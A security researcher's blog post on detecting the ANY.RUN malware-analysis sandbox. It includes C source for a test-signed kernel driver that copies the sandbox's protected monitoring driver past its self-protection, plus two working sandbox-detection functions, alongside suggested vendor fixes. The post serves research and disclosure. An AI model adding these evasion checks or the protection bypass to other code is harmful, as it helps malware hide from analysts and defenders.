Since 2020, Malwation did a great research on how ANY.RUN works. And the JAMESWT malware have implemented a sandbox detection in past. Not long after, detections leveraging on WMI query, MAC addresses, agent process names, DLLs loaded, running under the specific system processes and probing intermediate certificates were the popular solutions to detect whether or not the process is running under the ANY.RUN sandbox otherwise.
There has been a lot of changes applied to the interactive malware analysis platform―ANY.RUN, and most of those went deprecated or unreliable.
One way or another, I have successfully developed a few of new detection for ANY.RUN sandbox and would love to share with you the result and inner workings.
The full code is available at GitHub.
Identifying ANY.RUN introspector
To begin with, let’s first assume that kernel driver(s) and Windows service(s) are preinstalled in the VM. I wrote a Rust program to dump the running kernel components by NtQuerySystemInformation with SystemModuleInformation, as JSON format. Since the list may have large number of driver info entries, I also wrote the functions to populate PKCS#7 SignedData and X.509 certificates chain associated with the authenticode-signed driver binary to identify with ease. That looks like so…
[
{
"image_base": 1052770304,
"image_size": 17068032,
"flags": 142622720,
"load_order_index": 0,
"init_order_index": 0,
"load_count": 1,
"filename": "ntoskrnl.exe",
"filepath": "\\SystemRoot\\system32\\ntoskrnl.exe",
"cert_infos": [
{
"subject": {
"common_name": "Microsoft Windows",
"organization": "Microsoft Corporation",
"organization_unit": "Microsoft Corporation",
"country": "US",
"thumbprint_sha1": "d8fb0cc66a08061b42d46d03546f0d42cbc49b7c",
"thumbprint_sha256": "2d7ffce2c256016291b67285456aa8da779d711bbf8e6b85c212a157ddfbe77e",
"serial_number": "3300000460cf42a912315f6fb3000000000460",
"tbs_sha1": "26f995a543470d17a657fa745537dccf61c62221",
"tbs_sha256": "d6b2b77c854b37c02fd86ded02cf1fcc9702ba7ae8f94e8d98c1626237ccbb79"
},
"issuer": {
"common_name": "Microsoft Windows Production PCA 2011",
"...": "..."
},
"cert_chain": [
{
"subject": {
"common_name": "Microsoft Windows Production PCA 2011",
"...": "..."
},
"issuer": {
"common_name": "Microsoft Root Certificate Authority 2010",
"...": "..."
}
},
{
"subject": {
"common_name": "Microsoft Windows",
"...": "..."
},
"issuer": {
"common_name": "Microsoft Windows Production PCA 2011",
"...": "..."
}
}
]
}
]
}
]
…And I found it.
[
{
"image_base": 1010827264,
"image_size": 233472,
"flags": 1225801760,
"load_order_index": 99,
"init_order_index": 0,
"load_count": 1,
"filename": "A3E64E55_fl_x64.sys",
"filepath": "\\??\\C:\\Program Files\\KernelLogger\\A3E64E55_fl_x64.sys",
"cert_infos": []
}
]
Dumping Introspector with Self Protection Bypass
Unfortunately, this can not be a simple. Any accesses to the C:\\Program Files\\KernelLogger will be restricted by the driver self protection and you cannot even see the directory in the explorer nor access the individual files. This behaviour can be an one of detection vectors, I’ll mention it later.

Reference to the hardcoded strings

Routine to probe the access through minifilter

Routine returns STATUS_NO_SUCH_FILE if access to protected file objects detected
Since it is implemented within the minifilter, simply stopping kernel driver service may be an one of ideal solution.
However, I choose the different way at this time. Given that the VM is run as test signing mode of Windows, it is possible to drop our kernel driver signed by WDK test certificate and dump the files in the anywhere else so that ANY.RUN platform itself detects file changes and I can download them directly from ANY.RUN platform.
Note that file I/O cannot be performed at the IRQL higher than PASSIVE_LEVEL and paged pools cannot be used respectively.
_IRQL_requires_(PASSIVE_LEVEL)
NTSTATUS StealProtectedFile(_In_ UNICODE_STRING* FullFilePath, _In_UNICODE_STRING* FileOutFullPath)
{
NTSTATUS Status;
OBJECT_ATTRIBUTES ObjectAttributes;
InitializeObjectAttributes(&ObjectAttributes, FullFilePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// Open the file specified by FullFilePath
HANDLE FileHandle;
IO_STATUS_BLOCK IoStatusBlock;
Status = NtCreateFile(&FileHandle, GENERIC_READ | SYNCHRONIZE, &ObjectAttributes, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(Status))
{
return Status;
}
// Query File information
FILE_STANDARD_INFORMATION StandardInfo;
Status = NtQueryInformationFile(FileHandle, &IoStatusBlock, &StandardInfo, sizeof(StandardInfo), FileStandardInformation);
if (!NT_SUCCESS(Status))
{
NtClose(FileHandle);
return Status;
}
SIZE_T BufferSize = StandardInfo.EndOfFile.QuadPart;
PVOID Buffer = ExAllocatePoolWithTag(NonPagedPool, BufferSize, MY_POOL_TAG);
if (!Buffer)
{
NtClose(FileHandle);
return STATUS_INSUFFICIENT_RESOURCES;
}
// Read the file
RtlZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
LARGE_INTEGER ByteOffset;
ByteOffset.QuadPart = 0;
Status = NtReadFile(FileHandle, NULL, NULL, NULL, &IoStatusBlock, Buffer, BufferSize, &ByteOffset, NULL);
if (!NT_SUCCESS(Status))
{
ExFreePoolWithTag(Buffer, MY_POOL_TAG);
NtClose(FileHandle);
return Status;
}
NtClose(FileHandle);
ULONG BytesRead = (ULONG)IoStatusBlock.Information;
if (BytesRead != BufferSize)
{
ExFreePoolWithTag(Buffer, MY_POOL_TAG);
return STATUS_UNSUCCESSFUL;
}
OBJECT_ATTRIBUTES ObjectOutAttributes;
InitializeObjectAttributes(&ObjectOutAttributes, FileOutFullPath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
HANDLE OutFileHandle;
Status = NtCreateFile(&OutFileHandle, GENERIC_WRITE | SYNCHRONIZE, &ObjectOutAttributes, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN_IF | FILE_OVERWRITE_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(Status))
{
ExFreePoolWithTag(Buffer, MY_POOL_TAG);
NtClose(OutFileHandle);
return Status;
}
// Write the file
RtlZeroMemory(&IoStatusBlock, sizeof(IoStatusBlock));
ByteOffset.QuadPart = 0;
Status = NtWriteFile(OutFileHandle, NULL, NULL, NULL, &IoStatusBlock, Buffer, BufferSize, &ByteOffset, NULL);
if (!NT_SUCCESS(Status))
{
ExFreePoolWithTag(Buffer, MY_POOL_TAG);
NtClose(OutFileHandle);
return Status;
}
ExFreePoolWithTag(Buffer, MY_POOL_TAG);
NtClose(OutFileHandle);
return Status;
}
_Function_class_(DRIVER_UNLOAD)
_IRQL_requires_(PASSIVE_LEVEL)
_IRQL_requires_same_
void UnloadDriver(_In_ DRIVER_OBJECT* DriverObject)
{
UNREFERENCED_PARAMETER(DriverObject);
}
_Function_class_(DRIVER_INITIALIZE)
_IRQL_requires_same_
_IRQL_requires_(PASSIVE_LEVEL)
NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
NTSTATUS Status = STATUS_SUCCESS;
DriverObject->DriverUnload = UnloadDriver;
UNICODE_STRING FullFilePath = RTL_CONSTANT_STRING(L"\\??\\C:\\Program Files\\KernelLogger\\A3E64E55_fl_x64.sys");
UNICODE_STRING FileOutFullPath = RTL_CONSTANT_STRING(L"\\??\\C:\\gochu.bin");
Status = StealProtectedFile(&FullFilePath,& FileOutFullPath);
return Status;
}
And done. Note that ANY.RUN won’t detect filesystem changes made by the kernel drivers and I have to copy the file twice in total, one from driver and another from the frontend exploit process running together with the exploit driver to trigger ANY.RUN minifilter from an usermode process.

The dumped A3E64E55_fl_x64.sys
Unlike my assumption, the driver were not signed by trusted CA. It is the very simple kernel driver with minifilter, signed by WDK test certificate first generated at Tuesday, September 27, 2022 8:25:28 PM. I’ll mention the funny things inside the driver in further article.

A3E64E55_fl_x64.sys is self-signed with WDK test certificate
Additionally, the C:\\Program Files\\KernelLogger contains multiple files, can be discovered by recursive NtQueryDirectoryFile calls:

Contents inside %ProgramFiles%/KernelLogger
The Reliable Way to Detect ANY.RUN Sandbox
Since I do not like methods blindly scanning system drivers, processes, handles, WMI queries or registry things, which looks very suspicious, I choose the two reliable methods at this time.
The full code is available at GitHub.
Part One: Leveraging on the symblic device name of the driver.
Description: This method tries to open the device handle of the ANY.RUN driver A3E64E55_fl_x64.sys. The process is running under the ANY.RUN virtual machine if this is successful.
Since the driver code is not great, and given that path strings are hardcoded with fixed volume symbol in the driver, patching this method comes with a bit of pain, as well as VM image changes.
Suggested Patches: Allows access to the device from the Windows services only makes this detection method requires elevation. The check can be peformed under the IRP_MJ_CREATE and must return STATUS_OBJECT_NAME_NOT_FOUND to avoid identication.
#define ANYRUN_DRIVER_DEVICE_NAME "\\\\?\\\\A3E64E55_fl"
static bool detect_anyrun()
{
HANDLE hFile;
hFile = CreateFile(
/*lpFileName*/TEXT(ANYRUN_DRIVER_DEVICE_NAME),
/*dwDesiredAccess*/GENERIC_READ,
/*dwShareMode*/0,
/*lpSecurityAttributes*/NULL,
/*dwCreationDisposition*/OPEN_EXISTING,
/*dwFlagsAndAttributes*/0,
/*hTemplateFile*/NULL
);
if (hFile == INVALID_HANDLE_VALUE)
{
return false;
}
CloseHandle(hFile);
return true;
}
Part Two: Leveraging on a filesystem behaviour.
Description: The filesystem operation under the ANY.RUN installation directory or files returns non-standard NTSTATUS code STATUS_NO_SUCH_FILE.
Suggested Patches: Change the NTSTATUS code to STATUS_OBJECT_NAME_NOT_FOUND, which is the standard behaviour of NT.
static int detect_anyrun2()
{
NTSTATUS status;
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\??\\C:\\Program Files\\KernelLogger");
HANDLE hFile;
IO_STATUS_BLOCK iosb = { 0 };
OBJECT_ATTRIBUTES attrs;
InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL);
status = NtCreateFile(
/*FileHandle*/&hFile,
/*DesiredAccess*/GENERIC_READ | SYNCHRONIZE,
/*ObjectAttributes*/&attrs,
/*IoStatusBlock*/&iosb,
/*AllocationSize*/NULL,
/*FileAttributes*/FILE_ATTRIBUTE_DIRECTORY,
/*ShareAccess*/FILE_SHARE_READ,
/*CreateDisposition*/FILE_OPEN,
/*CreateOptions*/FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
/*EaBuffer*/NULL,
/*EaLength*/0
);
// ANY.RUN minifilter returns non-standard status code, STATUS_NO_SUCH_FILE
// If this status code is returned, it means that the directory is protected
// by the ANY.RUN minifilter driver.
// To patch this detection, I would recommend returning STATUS_OBJECT_NAME_NOT_FOUND
// that is a standard status code for this situation.
if (status == STATUS_NO_SUCH_FILE)
return true;
// Not actually the case, maybe conflict with other software installation.
if (NT_SUCCESS(status))
NtClose(hFile);
return false;
}
… and more detections soon.